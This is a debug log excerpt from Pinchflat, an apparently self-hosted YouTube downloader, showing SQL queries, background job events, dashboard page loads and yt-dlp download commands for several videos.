OK source="tasks" db=0.2ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:21:57.168 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:21:57.168 [debug] QUERY OK source="media_items" db=0.2ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [28, 29] 21:21:57.168 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:21:57.168 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [29] 21:21:57.168 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [29] 21:21:57.169 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:21:57.169 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:57.169 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:57.169 [debug] Running yt-dlp command for action: get_downloadable_status 21:21:57.169 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:57.169 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:57.169 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:57.169 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=En_L4safXKo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1c/d9/1cd9a8e7a971ebf5b0734ba38eff74f5f9bafb1a416b9a79d31f4c737110c46d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:21:58.681 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:59.356 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=En_L4safXKo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1c/d9/1cd9a8e7a971ebf5b0734ba38eff74f5f9bafb1a416b9a79d31f4c737110c46d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:21:59.356 [debug] Running yt-dlp command for action: download 21:21:59.356 [debug] QUERY OK source="settings" db=0.1ms idle=693.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:59.356 [debug] QUERY OK source="settings" db=0.0ms idle=675.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:59.356 [debug] QUERY OK source="settings" db=0.0ms idle=299.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:59.357 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=En_L4safXKo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/b6/0eb6a6d2c0c80e115347177f03a4806816910072cc543c13c7fa0de8dd418d58.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:22:00.595 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:28.683 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:33.262 [info] GET / 21:22:33.263 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:22:33.263 [debug] QUERY OK source="settings" db=0.1ms idle=1205.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:33.263 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1205.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:22:33.264 [debug] QUERY OK source="sources" db=0.0ms idle=551.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:22:33.264 [debug] QUERY OK source="media_items" db=0.2ms idle=206.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:22:33.264 [debug] QUERY OK source="media_items" db=0.0ms idle=206.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:22:33.264 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:33.265 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:33.265 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:33.266 [debug] QUERY OK source="tasks" db=0.2ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:22:33.267 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [28, 29] 21:22:33.267 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:22:33.268 [debug] QUERY OK source="media_items" db=0.4ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:22:33.268 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:22:33.270 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:22:33.271 [debug] QUERY OK source="media_items" db=0.5ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:22:33.271 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:22:33.273 [info] Sent 200 in 10ms 21:22:34.128 [info] CONNECTED TO Phoenix.LiveView.Socket in 28µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Ml8HNQgjfx0ONmkLOyoqaH01Aj8dOjo5f0bGNJHyvX8LrKE-7tXzDyu_", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:22:34.176 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "ToerFi7dxnQGIaoEJAZEYCOf", "media_state" => "downloaded"} 21:22:34.177 [debug] QUERY OK source="media_items" db=0.2ms idle=907.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:22:34.177 [debug] QUERY OK source="media_items" db=0.3ms idle=906.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:22:34.178 [debug] QUERY OK source="sources" db=0.1ms idle=906.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:22:34.178 [debug] Replied in 1ms 21:22:34.180 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "ToerFi7dxnQGIaoEJAZEYCOf", "media_state" => "pending"} 21:22:34.180 [debug] QUERY OK source="media_items" db=0.4ms idle=908.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:22:34.181 [debug] QUERY OK source="media_items" db=0.5ms idle=467.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:22:34.181 [debug] QUERY OK source="sources" db=0.1ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:22:34.181 [debug] Replied in 1ms 21:22:34.183 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "ToerFi7dxnQGIaoEJAZEYCOf"} 21:22:34.183 [debug] QUERY OK source="tasks" db=0.2ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:22:34.184 [debug] QUERY OK source="media_items" db=0.1ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [28, 29] 21:22:34.184 [debug] Replied in 1ms 21:22:34.185 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "ToerFi7dxnQGIaoEJAZEYCOf"} 21:22:34.185 [debug] Replied in 67µs 21:22:34.461 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MS-lV6bru3Q --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d9/94/d9946cc2aa5fdf1ec4a1e2330a3496d18c6ea1c4973b6eb2770f0caa502fb254.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:22:34.474 [debug] Running yt-dlp command for action: download_thumbnail 21:22:34.474 [debug] QUERY OK source="settings" db=0.0ms idle=293.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:34.474 [debug] QUERY OK source="settings" db=0.0ms idle=293.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:34.474 [debug] QUERY OK source="settings" db=0.0ms idle=292.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 